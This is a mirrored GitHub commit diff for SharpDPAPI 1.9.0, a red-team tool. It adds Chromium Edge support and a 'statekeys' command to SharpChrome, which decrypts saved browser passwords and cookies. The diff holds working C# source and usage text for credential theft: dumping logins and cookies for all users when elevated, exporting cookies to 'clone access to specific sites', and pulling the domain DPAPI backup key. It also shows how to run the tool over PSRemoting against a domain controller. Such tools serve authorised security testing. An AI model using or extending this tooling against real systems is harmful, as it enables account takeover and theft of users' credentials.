mirror of
https://github.com/GhostPack/SharpDPAPI.git
synced 2026-11-08 17:14:09 -10:00
Version 1.9.0
Added Chromium-based Edge support for SharpChrome Added /consoleoutfile support for SharpDPAPI/SharpChrome Added "statekeys" command to SharpChrome Fixed SharpChrome cookie bug for expires times of 0
This commit is contained in:
1 parent
f47dacdcb3
commit
5964eebc3e
15 files changed
+649
-125
No files matched your search
@@ -5,6 +5,21 @@ The format is based on [Keep a Changelog](https://keepachangelog.com/en/1.0.0/),
|
||||
and this project adheres to [Semantic Versioning](https://semver.org/spec/v2.0.0.html).
|
||||
|
||||
|
||||
## [1.9.0] - 2020-09-02
|
||||
|
||||
### Added
|
||||
* **SharpChrome** project
|
||||
* Added the ability to target Chromium-based Edge instances for `cookies` and `logins` with `/browser:edge`
|
||||
* Added the `statekeys` command to triage reachable Chromiun AES state keys.
|
||||
* Added the ability to supply `/statekey:X` to `cookies` and `logins` commands.
|
||||
|
||||
### Fixed
|
||||
* **SharpChrome** project
|
||||
* Cookie expires filtering for 0 values.
|
||||
|
||||
* the **/consoleoutfile** argument to redirect console output to a file, and the public `MainString("command")` function to work over PSRemoting (see end of README.md)
|
||||
|
||||
|
||||
## [1.8.0] - 2020-07-13
|
||||
|
||||
### Added
|
||||
|
||||
@@ -8,6 +8,8 @@
|
||||
|
||||
The [SharpChrome](#sharpchrome) subproject is an adaptation of work from [@gentilkiwi](https://twitter.com/gentilkiwi) and [@djhohnstein](https://twitter.com/djhohnstein), specifically his [SharpChrome project](https://github.com/djhohnstein/SharpChrome/). However, this version of SharpChrome uses a different version of the [C# SQL library](https://github.com/akveo/digitsquare/tree/a251a1220ef6212d1bed8c720368435ee1bfdfc2/plugins/com.brodysoft.sqlitePlugin/src/wp) that supports [lockless opening](https://github.com/gentilkiwi/mimikatz/pull/199). SharpChrome is built as a separate project in SharpDPAPI because of the size of the SQLite library utilized.
|
||||
|
||||
Both Chrome and newer Chromium-based Edge browsers can be triaged with SharpChrome.
|
||||
|
||||
SharpChrome also uses an minimized version of @AArnott's [BCrypt P/Invoke code](https://github.com/AArnott/pinvoke/tree/master/src/BCrypt) released under the MIT License.
|
||||
|
||||
If you're unfamiliar with DPAPI, [check out this post](https://www.harmj0y.net/blog/redteaming/operational-guidance-for-offensive-user-dpapi-abuse/) for more background information. For more information on Credentials and Vaults in regards to DPAPI, check out Benjamin's [wiki entry on the subject.](https://github.com/gentilkiwi/mimikatz/wiki/howto-~-credential-manager-saved-credentials)
|
||||
@@ -49,6 +51,7 @@ SharpDPAPI is licensed under the BSD 3-Clause license.
|
||||
* [SharpChrome Commands](#sharpchrome-commands)
|
||||
+ [logins](#logins)
|
||||
+ [cookies](#cookies)
|
||||
+ [statekeys](#statekeys)
|
||||
+ [backupkey](#backupkey-1)
|
||||
* [Compile Instructions](#compile-instructions)
|
||||
+ [Targeting other .NET versions](#targeting-other-net-versions)
|
||||
@@ -63,7 +66,7 @@ SharpDPAPI is licensed under the BSD 3-Clause license.
|
||||
(_ |_ _. ._ ._ | \ |_) /\ |_) |
|
||||
__) | | (_| | |_) |_/ | /--\ | _|_
|
||||
|
|
||||
v1.7.0
|
||||
v1.9.0
|
||||
|
||||
|
||||
|
||||
@@ -72,12 +75,20 @@ SharpDPAPI is licensed under the BSD 3-Clause license.
|
||||
SharpDPAPI backupkey [/server:SERVER.domain] [/file:key.pvk]
|
||||
|
||||
|
||||
The *search* comand will search for potential DPAPI blobs in the registry, files, folders, and base64 blobs:
|
||||
|
||||
search /type:registry [/path:HKLM\path\to\key] [/showErrors]
|
||||
search /type:folder /path:C:\path\to\folder [/maxBytes:<numOfBytes>] [/showErrors]
|
||||
search /type:file /path:C:\path\to\file [/maxBytes:<numOfBytes>]
|
||||
search /type:base64 [/base:<base64 string>]
|
||||
|
||||
|
||||
Machine/SYSTEM Triage:
|
||||
|
||||
machinemasterkeys - triage all reachable machine masterkey files (elevates to SYSTEM to retrieve the DPAPI_SYSTEM LSA secret)
|
||||
machinecredentials - use 'machinemasterkeys' and then triage machine Credential files
|
||||
machinevaults - use 'machinemasterkeys' and then triage machine Vaults
|
||||
machinecerts - use 'machinemasterkeys' and then triage machine certificate stores
|
||||
machinecerts - use 'machinemasterkeys' and then triage machine certificate stores
|
||||
machinetriage - run the 'machinecredentials' and 'machinevaults' commands
|
||||
|
||||
|
||||
@@ -109,14 +120,13 @@ SharpDPAPI is licensed under the BSD 3-Clause license.
|
||||
These functions wrap all the other applicable functions that can be automatically run.
|
||||
|
||||
|
||||
|
||||
#### SharpChrome Command Line Usage
|
||||
|
||||
__ _
|
||||
(_ |_ _. ._ ._ / |_ ._ _ ._ _ _
|
||||
__) | | (_| | |_) \_ | | | (_) | | | (/_
|
||||
|
|
||||
v1.6.1
|
||||
v1.9.0
|
||||
|
||||
|
||||
Retrieve a domain controller's DPAPI backup key, optionally specifying a DC and output file:
|
||||
@@ -124,29 +134,32 @@ SharpDPAPI is licensed under the BSD 3-Clause license.
|
||||
SharpChrome backupkey [/server:SERVER.domain] [/file:key.pvk]
|
||||
|
||||
|
||||
Global arguments for the 'cookies' and 'logins' commands:
|
||||
Global arguments for the 'cookies', 'logins', and 'statekeys' commands:
|
||||
|
||||
Decryption:
|
||||
/unprotect - force use of CryptUnprotectData() (default for unprivileged execution)
|
||||
/password:X - first decrypt the current user's masterkeys using a plaintext password. Works with any function, as well as remotely.
|
||||
GUID1:SHA1 ... - use a one or more GUID:SHA1 masterkeys for decryption
|
||||
/mkfile:FILE - use a file of one or more GUID:SHA1 masterkeys for decryption
|
||||
/pvk:BASE64... - use a base64'ed DPAPI domain private key file to first decrypt reachable user masterkeys
|
||||
/pvk:key.pvk - use a DPAPI domain private key file to first decrypt reachable user masterkeys
|
||||
/unprotect - force use of CryptUnprotectData() (default for unprivileged execution)
|
||||
/password:X - first decrypt the current user's masterkeys using a plaintext password. Works with any function, as well as remotely.
|
||||
GUID1:SHA1 ... - use a one or more GUID:SHA1 masterkeys for decryption
|
||||
/mkfile:FILE - use a file of one or more GUID:SHA1 masterkeys for decryption
|
||||
/pvk:BASE64... - use a base64'ed DPAPI domain private key file to first decrypt reachable user masterkeys
|
||||
/pvk:key.pvk - use a DPAPI domain private key file to first decrypt reachable user masterkeys
|
||||
/statekey:X - a decrypted AES state key (from the 'statekeys' command)
|
||||
|
||||
Targeting:
|
||||
/target:FILE - triage a specific 'Cookies' or 'Login Data' file location
|
||||
/server:SERVER - triage a remote server, assuming admin access (note: must use with /pvk:KEY)
|
||||
/target:FILE - triage a specific 'Cookies', 'Login Data', or 'Local State' file location
|
||||
/server:SERVER - triage a remote server, assuming admin access (note: must use with /pvk:KEY)
|
||||
/browser:X - triage 'chrome' (the default) or (chromium-based) 'edge'
|
||||
|
||||
Output:
|
||||
/format:X - either 'csv' (default) or 'table' display
|
||||
/showall - show Login Data entries with null passwords and expired Cookies instead of filtering (default)
|
||||
/format:X - either 'csv' (default) or 'table' display
|
||||
/showall - show Login Data entries with null passwords and expired Cookies instead of filtering (default)
|
||||
/consoleoutfile:X - output all console output to a file on disk
|
||||
|
||||
|
||||
'cookies' command specific arguments:
|
||||
|
||||
/cookie:"REGEX" - only return cookies where the cookie name matches the supplied regex
|
||||
/url:"REGEX" - only return cookies where the cookie URL matches the supplied regex
|
||||
/cookie:"REGEX" - only return cookies where the cookie name matches the supplied regex
|
||||
/url:"REGEX" - only return cookies where the cookie URL matches the supplied regex
|
||||
/format:json - output cookie values in an EditThisCookie JSON import format. Best when used with a regex!
|
||||
/setneverexpire - set expirations for cookies output to now + 100 years (for json output)
|
||||
|
||||
@@ -175,7 +188,7 @@ SharpChrome is a Chrome-specific implementation of SharpDPAPI capable of **cooki
|
||||
|
||||
Since Chrome Cookies/Login Data are saved without CRYPTPROTECT_SYSTEM, CryptUnprotectData() is back on the table. If SharpChrome is run from an unelevated contect, it will attempt to decrypt any logins/cookies for the current user using CryptUnprotectData(). A `/pvk:[BASE64|file.pvk]`, {GUID}:SHA1 lookup table, `/password:X`, or `/mkfile:FILE` of {GUID}:SHA1 values can also be used to decrypt values. Also, the [C# SQL library](https://github.com/akveo/digitsquare/tree/a251a1220ef6212d1bed8c720368435ee1bfdfc2/plugins/com.brodysoft.sqlitePlugin/src/wp) used (with a few modifications) supports [lockless opening](https://github.com/gentilkiwi/mimikatz/pull/199), meaning that Chrome does not have to be closed/target files do not have to be copied to another location.
|
||||
|
||||
If Chrome is version 80+, an AES state key is stored in *AppData\Local\Google\Chrome\User Data\Local State* - this key is protected with DPAPI, so we can use CryptUnprotectData()/pvk/masterkey lookup tables to decrypt it. This AES key is then used to protect new cookie and login data entries.
|
||||
If Chrome is version 80+, an AES state key is stored in *AppData\Local\Google\Chrome\User Data\Local State* - this key is protected with DPAPI, so we can use CryptUnprotectData()/pvk/masterkey lookup tables to decrypt it. This AES key is then used to protect new cookie and login data entries. This is also the process when `/browser:edge` is specified, for newer Chromium-based Edge browser triage.
|
||||
|
||||
By default, cookies and logins are displayed as a csv - this can be changed with `/format:table` for table output, and `/format:json` for cookies specifically. The json option outputs cookies in a json format that can be imported into the [EditThisCookie](https://chrome.google.com/webstore/detail/editthiscookie/fngmhnnpilhplaeedifhccceomclgfbg?hl=en) Chrome extension for easy reuse.
|
||||
|
||||
@@ -1177,11 +1190,11 @@ When searching a base64 blob, specify the base64-encoded bytes to scan with the
|
||||
|
||||
### logins
|
||||
|
||||
The **logins** command will search for Chrome 'Login Data' files and decrypt the saved login passwords. If execution is in an unelevated contect, CryptProtectData() will automatically be used to try to decrypt values.
|
||||
The **logins** command will search for Chrome 'Login Data' files and decrypt the saved login passwords. If execution is in an unelevated contect, CryptProtectData() will automatically be used to try to decrypt values. If `/browser:edge` is specified, the newer Chromium-based Edge browser is triaged.
|
||||
|
||||
Login Data files can also be decrypted with a) any "{GUID}:SHA1 {GUID}:SHA1 ..." masterkeys passed, b) a `/mkfile:FILE` of one or more {GUID}:SHA1 masterkey mappings, c) a supplied DPAPI domain backup key (`/pvk:BASE64...` or `/pvk:key.pvk`) to first decrypt any user masterkeys, or d) a `/password:X` to decrypt any user masterkeys, which are then used as a lookup decryption table. DPAPI GUID mappings can be recovered with Mimikatz' `sekurlsa::dpapi` command.
|
||||
|
||||
A specific Login Data file can be specified with `/target:FILE`. A remote `/server:SERVER` can be specified if a `/pvk` is also supplied.
|
||||
A specific Login Data file can be specified with `/target:FILE`. A remote `/server:SERVER` can be specified if a `/pvk` is also supplied. If triaging newer Chrome/Edge instances, a `/statekey:X` AES state key can be specified.
|
||||
|
||||
By default, logins are displayed in a csv format. This can be modified with `/format:table` for table output. Also, by default only non-null password value entries are displayed, but all values can be displayed with `/showall`.
|
||||
|
||||
@@ -1189,11 +1202,11 @@ If run from an elevated context, Login Data files for ALL users will be triaged,
|
||||
|
||||
### cookies
|
||||
|
||||
The **cookies** command will search for Chrome 'Cookies' files and decrypt cookie values. If execution is in an unelevated contect, CryptProtectData() will automatically be used to try to decrypt values.
|
||||
The **cookies** command will search for Chrome 'Cookies' files and decrypt cookie values. If execution is in an unelevated contect, CryptProtectData() will automatically be used to try to decrypt values. If `/browser:edge` is specified, the newer Chromium-based Edge browser is triaged.
|
||||
|
||||
Cookie files can also be decrypted with a) any "{GUID}:SHA1 {GUID}:SHA1 ..." masterkeys passed, b) a `/mkfile:FILE` of one or more {GUID}:SHA1 masterkey mappings, c) a supplied DPAPI domain backup key (`/pvk:BASE64...` or `/pvk:key.pvk`) to first decrypt any user masterkeys, or d) a `/password:X` to decrypt any user masterkeys, which are then used as a lookup decryption table. DPAPI GUID mappings can be recovered with Mimikatz' `sekurlsa::dpapi` command.
|
||||
|
||||
A specific Cookies file can be specified with `/target:FILE`. A remote `/server:SERVER` can be specified if a `/pvk` is also supplied.
|
||||
A specific Cookies file can be specified with `/target:FILE`. A remote `/server:SERVER` can be specified if a `/pvk` is also supplied. If triaging newer Chrome/Edge instances, a `/statekey:X` AES state key can be specified.
|
||||
|
||||
By default, cookies are displayed in a csv format. This can be modified with `/format:table` for table output, or `/format:json` for output importable by [EditThisCookie](https://chrome.google.com/webstore/detail/editthiscookie/fngmhnnpilhplaeedifhccceomclgfbg?hl=en). Also, by default only non-expired cookie value entries are displayed, but all values can be displayed with `/showall`.
|
||||
|
||||
@@ -1201,6 +1214,14 @@ If run from an elevated context, Cookie files for ALL users will be triaged, oth
|
||||
|
||||
The **cookies** command also has `/cookie:REGEX` and `/url:REGEX` arguments to only return cookie names or urls matching the supplied regex. This is useful with `/format:json` to easily clone access to specific sites.
|
||||
|
||||
### statekeys
|
||||
|
||||
The **statekeys** command will search for Chrome/Edge AES statekey files (i.e. 'AppData\Local\Google\Chrome\User Data\Local State' and 'AppData\Local\Microsoft\Edge\User Data\Local State') and decrypts them using the same type of arguments that can be supplied for `cookies` and `logins`.
|
||||
|
||||
State keys can also be decrypted with a) any "{GUID}:SHA1 {GUID}:SHA1 ..." masterkeys passed, b) a `/mkfile:FILE` of one or more {GUID}:SHA1 masterkey mappings, c) a supplied DPAPI domain backup key (`/pvk:BASE64...` or `/pvk:key.pvk`) to first decrypt any user masterkeys, or d) a `/password:X` to decrypt any user masterkeys, which are then used as a lookup decryption table. DPAPI GUID mappings can be recovered with Mimikatz' `sekurlsa::dpapi` command.
|
||||
|
||||
If run from an elevated context, state keys for ALL users will be triaged, otherwise only state keys for the current user will be processed.
|
||||
|
||||
### backupkey
|
||||
|
||||
The **backupkey** command will retrieve the domain DPAPI backup key from a domain controller using the **LsaRetrievePrivateData** API approach [from Mimikatz](https://github.com/gentilkiwi/mimikatz/blob/2fd09bbef0754317cd97c01dbbf49698ae23d9d2/mimikatz/modules/kuhl_m_lsadump.c#L1882-L1927). This private key can then be used to decrypt master key blobs for any user on the domain. And even better, the key never changes ;)
|
||||
@@ -1211,11 +1232,12 @@ This base64 key blob can be decoded to a binary .pvk file that can then be used
|
||||
|
||||
By default, SharpDPAPI will try to determine the current domain controller via the **DsGetDcName** API call. A server can be specified with `/server:COMPUTER.domain.com`. If you want the key saved to disk instead of output as a base64 blob, use `/file:key.pvk`.
|
||||
|
||||
|
||||
## Compile Instructions
|
||||
|
||||
We are not planning on releasing binaries for SharpDPAPI, so you will have to compile yourself :)
|
||||
|
||||
SharpDPAPI has been built against .NET 3.5 and is compatible with [Visual Studio 2015 Community Edition](https://go.microsoft.com/fwlink/?LinkId=532606&clcid=0x409). Simply open up the project .sln, choose "Release", and build.
|
||||
SharpDPAPI has been built against .NET 3.5 and is compatible with [Visual Studio 2019 Community Edition](https://visualstudio.microsoft.com/vs/community/). Simply open up the project .sln, choose "Release", and build.
|
||||
|
||||
### Targeting other .NET versions
|
||||
|
||||
@@ -1234,3 +1256,18 @@ SharpDPAPI can then be loaded in a PowerShell script with the following (where "
|
||||
The Main() method and any arguments can then be invoked as follows:
|
||||
|
||||
[SharpDPAPI.Program]::Main("machinemasterkeys")
|
||||
|
||||
#### Sidenote Sidenote: Running SharpDPAPI Over PSRemoting
|
||||
|
||||
Due to the way PSRemoting handles output, we need to redirect stdout to a string and return that instead. Luckily, SharpDPAPI has a function to help with that.
|
||||
|
||||
If you follow the instructions in [Sidenote: Running SharpDPAPI Through PowerShell](#sidenote-running-sharpdpapi-through-powershell) to create a SharpDPAPI.ps1, append something like the following to the script:
|
||||
|
||||
[SharpDPAPI.Program]::MainString("machinemasterkeys")
|
||||
|
||||
You should then be able to run SharpDPAPI over PSRemoting with something like the following:
|
||||
|
||||
$s = New-PSSession dc.theshire.local
|
||||
Invoke-Command -Session $s -FilePath C:\Temp\SharpDPAPI.ps1
|
||||
|
||||
Alternatively, SharpDPAPI `/consoleoutfile:C:\FILE.txt` argument will redirect all output streams to the specified file.
|
||||
@@ -10,7 +10,6 @@ namespace SharpChrome.Commands
|
||||
|
||||
public void Execute(Dictionary<string, string> arguments)
|
||||
{
|
||||
Console.WriteLine("\r\n[*] Action: Chrome Cookies Triage\r\n");
|
||||
arguments.Remove("cookies");
|
||||
|
||||
string displayFormat = "csv"; // "csv", "table", or "json" display
|
||||
@@ -20,6 +19,15 @@ namespace SharpChrome.Commands
|
||||
bool setneverexpire = false; // set cookie output expiration dates to now + 100 years
|
||||
string cookieRegex = ""; // regex to search for specific cookie names
|
||||
string urlRegex = ""; // regex to search for specific URLs for cookies
|
||||
string stateKey = ""; // decrypted AES statekey to use for cookie decryption
|
||||
string browser = "chrome"; // alternate Chromiun browser to specify, currently only "edge" is supported
|
||||
|
||||
if (arguments.ContainsKey("/browser"))
|
||||
{
|
||||
browser = arguments["/browser"].ToLower();
|
||||
}
|
||||
|
||||
Console.WriteLine("\r\n[*] Action: {0} Saved Cookies Triage\r\n", SharpDPAPI.Helpers.Capitalize(browser));
|
||||
|
||||
if (arguments.ContainsKey("/format"))
|
||||
{
|
||||
@@ -51,7 +59,13 @@ namespace SharpChrome.Commands
|
||||
showAll = true;
|
||||
}
|
||||
|
||||
if(showAll)
|
||||
if (arguments.ContainsKey("/statekey"))
|
||||
{
|
||||
stateKey = arguments["/statekey"];
|
||||
Console.WriteLine("[*] Using AES State Key: {0}]\r\n", stateKey);
|
||||
}
|
||||
|
||||
if (showAll)
|
||||
{
|
||||
Console.WriteLine("[*] Triaging all cookies, including expired ones.");
|
||||
}
|
||||
@@ -101,11 +115,17 @@ namespace SharpChrome.Commands
|
||||
if (arguments.ContainsKey("/target"))
|
||||
{
|
||||
string target = arguments["/target"].Trim('"').Trim('\'');
|
||||
byte[] stateKeyBytes = null;
|
||||
|
||||
if (!String.IsNullOrEmpty(stateKey))
|
||||
{
|
||||
stateKeyBytes = SharpDPAPI.Helpers.ConvertHexStringToByteArray(stateKey);
|
||||
}
|
||||
|
||||
if (File.Exists(target))
|
||||
{
|
||||
Console.WriteLine("[*] Target 'Cookies' File: {0}\r\n", target);
|
||||
Chrome.ParseChromeCookies(masterkeys, target, displayFormat, showAll, unprotect, cookieRegex, urlRegex);
|
||||
Chrome.ParseChromeCookies(masterkeys, target, displayFormat, showAll, unprotect, cookieRegex, urlRegex, setneverexpire, stateKeyBytes);
|
||||
}
|
||||
else
|
||||
{
|
||||
@@ -120,7 +140,8 @@ namespace SharpChrome.Commands
|
||||
}
|
||||
else
|
||||
{
|
||||
Chrome.TriageChromeCookies(masterkeys, server, displayFormat, showAll, unprotect, cookieRegex, urlRegex, setneverexpire);
|
||||
// last "true" -> indicates we want to triage Edge
|
||||
Chrome.TriageChromeCookies(masterkeys, server, displayFormat, showAll, unprotect, cookieRegex, urlRegex, setneverexpire, stateKey, browser);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
@@ -10,13 +10,21 @@ namespace SharpChrome.Commands
|
||||
|
||||
public void Execute(Dictionary<string, string> arguments)
|
||||
{
|
||||
Console.WriteLine("\r\n[*] Action: Chrome Saved Logins Triage\r\n");
|
||||
arguments.Remove("logins");
|
||||
|
||||
string displayFormat = "csv"; // "csv" or "table" display
|
||||
string server = ""; // used for remote server specification
|
||||
bool showAll = false; // whether to display entries with null passwords
|
||||
bool unprotect = false; // whether to force CryptUnprotectData()
|
||||
string stateKey = ""; // decrypted AES statekey to use for cookie decryption
|
||||
string browser = "chrome"; // alternate Chromiun browser to specify, currently only "edge" is supported
|
||||
|
||||
if (arguments.ContainsKey("/browser"))
|
||||
{
|
||||
browser = arguments["/browser"].ToLower();
|
||||
}
|
||||
|
||||
Console.WriteLine("\r\n[*] Action: {0} Saved Logins Triage\r\n", SharpDPAPI.Helpers.Capitalize(browser));
|
||||
|
||||
if (arguments.ContainsKey("/format"))
|
||||
{
|
||||
@@ -33,6 +41,12 @@ namespace SharpChrome.Commands
|
||||
showAll = true;
|
||||
}
|
||||
|
||||
if (arguments.ContainsKey("/statekey"))
|
||||
{
|
||||
stateKey = arguments["/statekey"];
|
||||
Console.WriteLine("[*] Using AES State Key: {0}]\r\n", stateKey);
|
||||
}
|
||||
|
||||
if (arguments.ContainsKey("/server"))
|
||||
{
|
||||
server = arguments["/server"];
|
||||
@@ -74,11 +88,17 @@ namespace SharpChrome.Commands
|
||||
if (arguments.ContainsKey("/target"))
|
||||
{
|
||||
string target = arguments["/target"].Trim('"').Trim('\'');
|
||||
byte[] stateKeyBytes = null;
|
||||
|
||||
if (!String.IsNullOrEmpty(stateKey))
|
||||
{
|
||||
stateKeyBytes = SharpDPAPI.Helpers.ConvertHexStringToByteArray(stateKey);
|
||||
}
|
||||
|
||||
if (File.Exists(target))
|
||||
{
|
||||
Console.WriteLine("[*] Target 'Login Data' File: {0}\r\n", target);
|
||||
Chrome.ParseChromeLogins(masterkeys, target, displayFormat, showAll, unprotect);
|
||||
Chrome.ParseChromeLogins(masterkeys, target, displayFormat, showAll, unprotect, stateKeyBytes);
|
||||
}
|
||||
else
|
||||
{
|
||||
@@ -93,7 +113,7 @@ namespace SharpChrome.Commands
|
||||
}
|
||||
else
|
||||
{
|
||||
Chrome.TriageChromeLogins(masterkeys, server, displayFormat, showAll, unprotect);
|
||||
Chrome.TriageChromeLogins(masterkeys, server, displayFormat, showAll, unprotect, stateKey, browser);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
@@ -0,0 +1,88 @@
|
||||
using System;
|
||||
using System.Collections.Generic;
|
||||
using System.IO;
|
||||
|
||||
namespace SharpChrome.Commands
|
||||
{
|
||||
public class Statekeys : ICommand
|
||||
{
|
||||
public static string CommandName => "statekeys";
|
||||
|
||||
public void Execute(Dictionary<string, string> arguments)
|
||||
{
|
||||
Console.WriteLine("\r\n[*] Action: Chromium Statekey Extraction\r\n");
|
||||
arguments.Remove("cookies");
|
||||
|
||||
string server = ""; // used for remote server specification
|
||||
bool unprotect = false; // whether to force CryptUnprotectData()
|
||||
|
||||
if (arguments.ContainsKey("/unprotect"))
|
||||
{
|
||||
unprotect = true;
|
||||
}
|
||||
|
||||
if (arguments.ContainsKey("/server"))
|
||||
{
|
||||
server = arguments["/server"];
|
||||
Console.WriteLine("[*] Triaging remote server: {0}\r\n", server);
|
||||
}
|
||||
|
||||
// {GUID}:SHA1 keys are the only ones that don't start with /
|
||||
Dictionary<string, string> masterkeys = new Dictionary<string, string>();
|
||||
foreach (KeyValuePair<string, string> entry in arguments)
|
||||
{
|
||||
if (!entry.Key.StartsWith("/"))
|
||||
{
|
||||
masterkeys.Add(entry.Key, entry.Value);
|
||||
}
|
||||
}
|
||||
if (arguments.ContainsKey("/pvk"))
|
||||
{
|
||||
// use a domain DPAPI backup key to triage masterkeys
|
||||
masterkeys = SharpDPAPI.Dpapi.PVKTriage(arguments);
|
||||
}
|
||||
else if (arguments.ContainsKey("/mkfile"))
|
||||
{
|
||||
masterkeys = SharpDPAPI.Helpers.ParseMasterKeyFile(arguments["/mkfile"]);
|
||||
}
|
||||
else if (arguments.ContainsKey("/password"))
|
||||
{
|
||||
string password = arguments["/password"];
|
||||
Console.WriteLine("[*] Will decrypt user masterkeys with password: {0}\r\n", password);
|
||||
if (arguments.ContainsKey("/server"))
|
||||
{
|
||||
masterkeys = SharpDPAPI.Triage.TriageUserMasterKeys(null, true, arguments["/server"], password);
|
||||
}
|
||||
else
|
||||
{
|
||||
masterkeys = SharpDPAPI.Triage.TriageUserMasterKeys(null, true, "", password);
|
||||
}
|
||||
}
|
||||
|
||||
if (arguments.ContainsKey("/target"))
|
||||
{
|
||||
string target = arguments["/target"].Trim('"').Trim('\'');
|
||||
|
||||
if (File.Exists(target))
|
||||
{
|
||||
Chrome.TriageStateKeys(masterkeys, server, unprotect, target);
|
||||
}
|
||||
else
|
||||
{
|
||||
Console.WriteLine("\r\n[X] '{0}' is not a valid file.", target);
|
||||
}
|
||||
}
|
||||
else
|
||||
{
|
||||
if (arguments.ContainsKey("/server") && !arguments.ContainsKey("/pvk") && !arguments.ContainsKey("/password"))
|
||||
{
|
||||
Console.WriteLine("[X] The '/server:X' argument must be used with '/pvk:BASE64...' or '/password:X' !");
|
||||
}
|
||||
else
|
||||
{
|
||||
Chrome.TriageStateKeys(masterkeys, server, unprotect);
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -20,6 +20,7 @@ namespace SharpChrome.Domain
|
||||
_availableCommands.Add(Backupkey.CommandName, () => new Backupkey());
|
||||
_availableCommands.Add(Logins.CommandName, () => new Logins());
|
||||
_availableCommands.Add(Cookies.CommandName, () => new Cookies());
|
||||
_availableCommands.Add(Statekeys.CommandName, () => new Statekeys());
|
||||
}
|
||||
|
||||
public bool ExecuteCommand(string commandName, Dictionary<string, string> arguments)
|
||||
|
||||
+17
-14
@@ -4,7 +4,7 @@ namespace SharpChrome.Domain
|
||||
{
|
||||
public static class Info
|
||||
{
|
||||
public static void Logo()
|
||||
public static void ShowLogo()
|
||||
{
|
||||
Console.WriteLine("\r\n __ _ ");
|
||||
Console.WriteLine(" (_ |_ _. ._ ._ / |_ ._ _ ._ _ _ ");
|
||||
@@ -21,29 +21,32 @@ Retrieve a domain controller's DPAPI backup key, optionally specifying a DC and
|
||||
SharpChrome backupkey [/server:SERVER.domain] [/file:key.pvk]
|
||||
|
||||
|
||||
Global arguments for the 'cookies' and 'logins' commands:
|
||||
Global arguments for the 'cookies', 'logins', and 'statekeys' commands:
|
||||
|
||||
Decryption:
|
||||
/unprotect - force use of CryptUnprotectData() (default for unprivileged execution)
|
||||
/password:X - first decrypt the current user's masterkeys using a plaintext password. Works with any function, as well as remotely.
|
||||
GUID1:SHA1 ... - use a one or more GUID:SHA1 masterkeys for decryption
|
||||
/mkfile:FILE - use a file of one or more GUID:SHA1 masterkeys for decryption
|
||||
/pvk:BASE64... - use a base64'ed DPAPI domain private key file to first decrypt reachable user masterkeys
|
||||
/pvk:key.pvk - use a DPAPI domain private key file to first decrypt reachable user masterkeys
|
||||
/unprotect - force use of CryptUnprotectData() (default for unprivileged execution)
|
||||
/password:X - first decrypt the current user's masterkeys using a plaintext password. Works with any function, as well as remotely.
|
||||
GUID1:SHA1 ... - use a one or more GUID:SHA1 masterkeys for decryption
|
||||
/mkfile:FILE - use a file of one or more GUID:SHA1 masterkeys for decryption
|
||||
/pvk:BASE64... - use a base64'ed DPAPI domain private key file to first decrypt reachable user masterkeys
|
||||
/pvk:key.pvk - use a DPAPI domain private key file to first decrypt reachable user masterkeys
|
||||
/statekey:X - a decrypted AES state key (from the 'statekey' command)
|
||||
|
||||
Targeting:
|
||||
/target:FILE - triage a specific 'Cookies' or 'Login Data' file location
|
||||
/server:SERVER - triage a remote server, assuming admin access (note: must use with /pvk:KEY)
|
||||
/target:FILE - triage a specific 'Cookies', 'Login Data', or 'Local State' file location
|
||||
/server:SERVER - triage a remote server, assuming admin access (note: must use with /pvk:KEY)
|
||||
/browser:X - triage 'chrome' (the default) or (chromium-based) 'edge'
|
||||
|
||||
Output:
|
||||
/format:X - either 'csv' (default) or 'table' display
|
||||
/showall - show Login Data entries with null passwords and expired Cookies instead of filtering (default)
|
||||
/format:X - either 'csv' (default) or 'table' display
|
||||
/showall - show Login Data entries with null passwords and expired Cookies instead of filtering (default)
|
||||
/consoleoutfile:X - output all console output to a file on disk
|
||||
|
||||
|
||||
'cookies' command specific arguments:
|
||||
|
||||
/cookie:""REGEX"" - only return cookies where the cookie name matches the supplied regex
|
||||
/url:""REGEX"" - only return cookies where the cookie URL matches the supplied regex
|
||||
/cookie:""REGEX"" - only return cookies where the cookie name matches the supplied regex
|
||||
/url:""REGEX"" - only return cookies where the cookie URL matches the supplied regex
|
||||
/format:json - output cookie values in an EditThisCookie JSON import format. Best when used with a regex!
|
||||
/setneverexpire - set expirations for cookies output to now + 100 years (for json output)
|
||||
|
||||
|
||||
+103
-12
@@ -2,32 +2,123 @@
|
||||
using System;
|
||||
using System.Collections.Generic;
|
||||
using SQLite;
|
||||
using System.IO;
|
||||
using System.Diagnostics;
|
||||
|
||||
namespace SharpChrome
|
||||
{
|
||||
class Program
|
||||
{
|
||||
private static void FileExecute(string commandName, Dictionary<string, string> parsedArgs)
|
||||
{
|
||||
// execute w/ stdout/err redirected to a file
|
||||
|
||||
string file = parsedArgs["/consoleoutfile"];
|
||||
|
||||
TextWriter realStdOut = Console.Out;
|
||||
TextWriter realStdErr = Console.Error;
|
||||
|
||||
using (StreamWriter writer = new StreamWriter(file, true))
|
||||
{
|
||||
writer.AutoFlush = true;
|
||||
Console.SetOut(writer);
|
||||
Console.SetError(writer);
|
||||
|
||||
MainExecute(commandName, parsedArgs);
|
||||
|
||||
Console.Out.Flush();
|
||||
Console.Error.Flush();
|
||||
}
|
||||
Console.SetOut(realStdOut);
|
||||
Console.SetError(realStdErr);
|
||||
}
|
||||
|
||||
private static void MainExecute(string commandName, Dictionary<string, string> parsedArgs)
|
||||
{
|
||||
// main execution logic
|
||||
Stopwatch sw = new Stopwatch();
|
||||
sw.Start();
|
||||
|
||||
Info.ShowLogo();
|
||||
|
||||
try
|
||||
{
|
||||
var commandFound = new CommandCollection().ExecuteCommand(commandName, parsedArgs);
|
||||
|
||||
// show the usage if no commands were found for the command name
|
||||
if (commandFound == false)
|
||||
Info.ShowUsage();
|
||||
}
|
||||
catch (Exception e)
|
||||
{
|
||||
Console.WriteLine("\r\n[!] Unhandled SharpChrome exception:\r\n");
|
||||
Console.WriteLine(e);
|
||||
}
|
||||
|
||||
sw.Stop();
|
||||
Console.WriteLine("\n\nSharpChrome completed in " + sw.Elapsed);
|
||||
}
|
||||
|
||||
public static string MainString(string command)
|
||||
{
|
||||
// helper that executes an input string command and returns results as a string
|
||||
// useful for PSRemoting execution
|
||||
|
||||
string[] args = command.Split();
|
||||
|
||||
var parsed = ArgumentParser.Parse(args);
|
||||
if (parsed.ParsedOk == false)
|
||||
{
|
||||
Info.ShowLogo();
|
||||
Info.ShowUsage();
|
||||
return "Error parsing arguments: ${command}";
|
||||
}
|
